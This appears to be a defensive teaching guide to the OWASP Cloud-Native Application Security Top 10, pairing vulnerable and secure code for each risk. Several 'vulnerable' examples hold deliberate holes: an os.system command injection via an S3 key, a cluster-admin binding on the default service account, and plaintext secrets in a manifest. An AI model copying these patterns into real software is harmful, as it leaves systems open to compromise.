OWASP Cloud-Native Application Security Top 10

1️⃣ CNAS-1 - Insecure Cloud, Container, or Orchestration Configuration

Overview

Misconfigured cloud services, containers, and orchestrators are the leading cause of cloud-native breaches. This includes running containers as root, using default configurations, exposing the Kubernetes API server publicly, and failing to enable audit logging on cloud resources.

Vulnerable Code Example

# Running container as root with no resource limits
FROM ubuntu:latest
RUN apt-get update && apt-get install -y curl wget
COPY app /app
# No USER directive — runs as root!
CMD ["/app/server"]

Secure Code Example

FROM gcr.io/distroless/static:nonroot
COPY --chown=65534:65534 app /app
USER 65534:65534
EXPOSE 8080
ENTRYPOINT ["/app/server"]

Mitigation Checklist

• Use minimal, distroless base images and never run containers as root
• Enable and enforce Pod Security Standards (restricted) in Kubernetes
• Scan infrastructure-as-code (Terraform, Helm) with tools like Checkov or tfsec
• Restrict access to cloud metadata endpoints (169.254.169.254) and Kubernetes API server

2️⃣ CNAS-2 - Injection Flaws (App Layer, Cloud Events, Cloud Services)

Overview

Cloud-native applications receive input not only from traditional HTTP requests but also from cloud events (SQS, Pub/Sub, EventBridge), serverless triggers, and inter-service communication. Injection flaws in any of these vectors can lead to command execution, data exfiltration, or privilege escalation.

Vulnerable Code Example

# Lambda function processing S3 event without sanitizing filename
import os

def handler(event, context):
    bucket = event['Records'][0]['s3']['bucket']['name']
    key = event['Records'][0]['s3']['object']['key']
    # Command injection via crafted filename!
    os.system(f"aws s3 cp s3://{bucket}/{key} /tmp/{key}")

Secure Code Example

import boto3, re
from urllib.parse import unquote_plus

def handler(event, context):
    s3 = boto3.client('s3')
    bucket = event['Records'][0]['s3']['bucket']['name']
    key = unquote_plus(event['Records'][0]['s3']['object']['key'])

    # Validate key against allowlist pattern
    if not re.match(r'^[\w\-./]+$', key):
        raise ValueError(f"Invalid S3 key: {key}")

    # Use SDK instead of shell commands
    s3.download_file(bucket, key, f'/tmp/{key.split("/")[-1]}')

Mitigation Checklist

• Validate and sanitize all inputs from cloud events, queues, and triggers
• Use SDK/API calls instead of shell commands (avoid os.system, subprocess with shell=True)
• Apply input validation schemas to event payloads (JSON Schema, protobuf)
• Implement egress filtering to prevent SSRF from serverless functions

3️⃣ CNAS-3 - Improper Authentication & Authorization

Overview

Cloud-native environments involve multiple layers of identity: cloud IAM, Kubernetes RBAC, service mesh mTLS, and application-level auth. Misconfigured or overly permissive policies at any layer can allow lateral movement, privilege escalation, or unauthorized access to sensitive resources.

Vulnerable Code Example

# Overly permissive ClusterRoleBinding
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
  name: default-admin
subjects:
- kind: ServiceAccount
  name: default          # Default SA — shared by all pods!
  namespace: default
roleRef:
  kind: ClusterRole
  name: cluster-admin    # Full cluster access!
  apiGroup: rbac.authorization.k8s.io

Secure Code Example

# Dedicated ServiceAccount with minimal Role
apiVersion: v1
kind: ServiceAccount
metadata:
  name: order-service
  namespace: production
  annotations:
    eks.amazonaws.com/role-arn: arn:aws:iam::123456:role/order-svc
---
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
  name: order-service-role
  namespace: production
rules:
- apiGroups: [""]
  resources: ["configmaps"]
  verbs: ["get"]

Mitigation Checklist

• Use dedicated ServiceAccounts per workload with least-privilege RBAC
• Implement IAM Roles for Service Accounts (IRSA/Workload Identity) instead of node-level credentials
• Enforce mutual TLS (mTLS) for all service-to-service communication
• Audit RBAC bindings regularly and remove unused permissions

4️⃣ CNAS-4 - CI/CD Pipeline & Software Supply Chain Flaws

Overview

CI/CD pipelines are high-value targets because they have write access to production environments. Compromising a build pipeline enables supply chain attacks, malicious code injection, and deployment of backdoored images. Insecure pipeline configurations, poisoned base images, and unsigned artifacts all contribute to this risk.

Vulnerable Code Example

# Insecure CI pipeline — unpinned actions, no image signing
name: Deploy
on: push
jobs:
  deploy:
    runs-on: ubuntu-latest
    steps:
    - uses: actions/checkout@main   # Unpinned — could be compromised!
    - run: |
        docker build -t myapp:latest .
        docker push myregistry/myapp:latest  # No signing!
        kubectl apply -f deploy.yaml         # No admission control!

Secure Code Example

name: Secure Deploy
on: push
permissions:
  id-token: write
jobs:
  deploy:
    runs-on: ubuntu-latest
    steps:
    - uses: actions/checkout@a5ac7e51b41094c92402da3b24376905380afc29  # Pinned SHA
    - run: |
        docker build -t myregistry/myapp:${{ github.sha }} .
        cosign sign myregistry/myapp:${{ github.sha }}  # Sign image
    - run: trivy image myregistry/myapp:${{ github.sha }} --exit-code 1
    - run: kubectl apply -f deploy.yaml  # Admission controller verifies signatures

Mitigation Checklist

• Pin CI/CD actions and dependencies to exact SHA hashes, not branches or tags
• Sign container images with Cosign/Notary and enforce signature verification at admission
• Scan images for vulnerabilities (Trivy, Grype) before deployment
• Use SLSA framework to ensure provenance and integrity of build artifacts

5️⃣ CNAS-5 - Insecure Secrets Storage

Overview

Secrets such as API keys, database credentials, and TLS certificates are often hardcoded in source code, stored in plaintext ConfigMaps, or embedded in container images. Kubernetes Secrets are only base64-encoded by default, not encrypted, providing minimal protection.

Vulnerable Code Example

# Secrets in plaintext environment variables
apiVersion: v1
kind: Pod
metadata:
  name: my-app
spec:
  containers:
  - name: app
    env:
    - name: DB_PASSWORD
      value: "SuperSecret123!"   # Plaintext in manifest!
    - name: AWS_SECRET_KEY
      value: "AKIA..."             # Cloud credentials in YAML!

Secure Code Example

# Use External Secrets Operator with a vault backend
apiVersion: external-secrets.io/v1beta1
kind: ExternalSecret
metadata:
  name: my-app-secrets
spec:
  refreshInterval: 1h
  secretStoreRef:
    name: vault-backend
    kind: ClusterSecretStore
  target:
    name: my-app-secrets
  data:
  - secretKey: db-password
    remoteRef:
      key: secret/data/myapp
      property: db-password

Mitigation Checklist

• Never store secrets in source code, Dockerfiles, or plaintext ConfigMaps
• Use a secrets manager (Vault, AWS Secrets Manager, GCP Secret Manager) with automatic rotation
• Enable encryption at rest for Kubernetes Secrets (KMS provider)
• Scan repositories and images for leaked secrets (git-secrets, TruffleHog, Trivy)

6️⃣ CNAS-6 - Over-Permissive or Insecure Network Policies

Overview

By default, Kubernetes allows all pods to communicate with each other without restriction. Missing or overly permissive NetworkPolicies, security groups, and firewall rules enable lateral movement within the cluster and between cloud services.

Vulnerable Code Example

# No NetworkPolicy — all pods can talk to everything
apiVersion: v1
kind: Namespace
metadata:
  name: production
# No NetworkPolicy resources defined
# All ingress and egress traffic is allowed by default

Secure Code Example

# Default-deny all traffic, then allow only what's needed
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: default-deny-all
  namespace: production
spec:
  podSelector: {}
  policyTypes: ["Ingress", "Egress"]
---
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: allow-frontend-to-api
  namespace: production
spec:
  podSelector:
    matchLabels:
      app: api-server
  ingress:
  - from:
    - podSelector:
        matchLabels:
          app: frontend
    ports:
    - port: 8080

Mitigation Checklist

• Implement default-deny NetworkPolicies for all namespaces
• Allow only required traffic between services using label selectors
• Restrict egress traffic to prevent data exfiltration and C2 communication
• Use a CNI plugin that supports NetworkPolicy enforcement (Calico, Cilium)

7️⃣ CNAS-7 - Using Components with Known Vulnerabilities

Overview

Cloud-native applications rely heavily on open-source base images, libraries, and Kubernetes operators. Running outdated or unpatched components with known CVEs exposes the application to well-documented exploits. Container images often include hundreds of packages, each a potential vulnerability.

Vulnerable Code Example

# Using outdated base image with known CVEs
FROM node:14                    # EOL version with known vulns
COPY package.json .
RUN npm install                 # No audit, no lockfile verification
COPY . .
CMD ["node", "server.js"]

Secure Code Example

# Use current, slim base image with vulnerability scanning
FROM node:22-slim AS build
WORKDIR /app
COPY package.json package-lock.json ./
RUN npm ci --only=production    # Reproducible install from lockfile
RUN npm audit --audit-level=high # Fail on high+ vulns

FROM gcr.io/distroless/nodejs22-debian12
COPY --from=build /app /app
CMD ["/app/server.js"]

Mitigation Checklist

• Continuously scan container images for CVEs in CI/CD and at runtime
• Use minimal base images (distroless, Alpine) to reduce attack surface
• Automate dependency updates with Dependabot, Renovate, or similar tools
• Maintain an SBOM and track component versions across all deployments

8️⃣ CNAS-8 - Improper Asset Management

Overview

Cloud-native environments make it easy to spin up resources but hard to track them. Orphaned containers, forgotten namespaces, stale cloud resources, and shadow IT deployments create an unmanaged attack surface. Without proper asset inventory, security teams cannot protect what they don't know exists.

Vulnerable Code Example

# Resources created without tagging or lifecycle management
resource "aws_instance" "test_server" {
  ami           = "ami-0abcdef1234567890"
  instance_type = "t3.medium"
  # No tags — who owns this? What's it for?
  # No lifecycle policy — runs forever
}

resource "aws_s3_bucket" "temp_data" {
  bucket = "temp-data-2024"
  # No expiration, no access logging
}

Secure Code Example

resource "aws_instance" "test_server" {
  ami           = "ami-0abcdef1234567890"
  instance_type = "t3.medium"

  tags = {
    Name        = "test-server"
    Owner       = "platform-team"
    Environment = "staging"
    ManagedBy   = "terraform"
    ExpiresAt   = "2026-04-30"
  }
}

resource "aws_s3_bucket" "temp_data" {
  bucket = "temp-data-2024"

  tags = {
    Owner     = "data-team"
    ManagedBy = "terraform"
  }

  lifecycle_rule {
    enabled = true
    expiration { days = 90 }
  }
}

Mitigation Checklist

• Maintain a real-time inventory of all cloud resources, clusters, and namespaces
• Enforce mandatory tagging policies (owner, environment, expiration) for all resources
• Automate detection and cleanup of orphaned resources (AWS Config, GCP Asset Inventory)
• Implement infrastructure-as-code to prevent untracked manual resource creation

9️⃣ CNAS-9 - Inadequate Compute Resource Quota Limits

Overview

Without proper resource quotas and limits, a single misbehaving or compromised workload can consume all available CPU, memory, or storage, causing denial of service for other applications. Cryptojacking attacks are particularly common in environments without resource limits.

Vulnerable Code Example

# Pod with no resource limits
apiVersion: v1
kind: Pod
metadata:
  name: my-app
spec:
  containers:
  - name: app
    image: myapp:latest
    # No resources block — can consume unlimited CPU/memory!

Secure Code Example

apiVersion: v1
kind: Pod
metadata:
  name: my-app
spec:
  containers:
  - name: app
    image: myapp:1.2.3
    resources:
      requests:
        cpu: "100m"
        memory: "128Mi"
      limits:
        cpu: "500m"
        memory: "512Mi"
---
# Namespace-level quota
apiVersion: v1
kind: ResourceQuota
metadata:
  name: compute-quota
  namespace: production
spec:
  hard:
    requests.cpu: "10"
    requests.memory: "20Gi"
    limits.cpu: "20"
    limits.memory: "40Gi"

Mitigation Checklist

• Set CPU and memory requests/limits on every container
• Enforce ResourceQuotas and LimitRanges at the namespace level
• Monitor resource usage and alert on anomalous consumption patterns
• Use cluster autoscaler with maximum node limits to prevent unbounded scaling

🔟 CNAS-10 - Ineffective Logging & Monitoring

Overview

Cloud-native environments generate logs across multiple layers: application, container runtime, orchestrator, service mesh, and cloud platform. Without centralized logging, correlation across these layers, and runtime threat detection, security incidents go undetected or are discovered too late.

Vulnerable Code Example

# No audit policy, no log forwarding
apiVersion: v1
kind: Pod
metadata:
  name: my-app
spec:
  containers:
  - name: app
    image: myapp:latest
    # Logs go to stdout only — lost when pod restarts
    # No audit logging configured on the cluster
    # No runtime security monitoring

Secure Code Example

# Kubernetes audit policy for security events
apiVersion: audit.k8s.io/v1
kind: Policy
rules:
- level: RequestResponse
  resources:
  - group: ""
    resources: ["secrets", "configmaps"]
- level: Metadata
  resources:
  - group: "rbac.authorization.k8s.io"
    resources: ["clusterroles", "clusterrolebindings"]
- level: Metadata
  verbs: ["create", "delete", "patch"]
# Deploy Falco for runtime threat detection
# Forward logs to SIEM via Fluent Bit / Fluentd

Mitigation Checklist

• Enable Kubernetes audit logging and forward to a centralized SIEM
• Deploy runtime security tools (Falco, Sysdig) for real-time threat detection
• Use log aggregation (Fluent Bit, Loki) to persist container logs beyond pod lifecycle
• Create alerts for security-critical events: secret access, RBAC changes, exec into pods

📊 Summary Table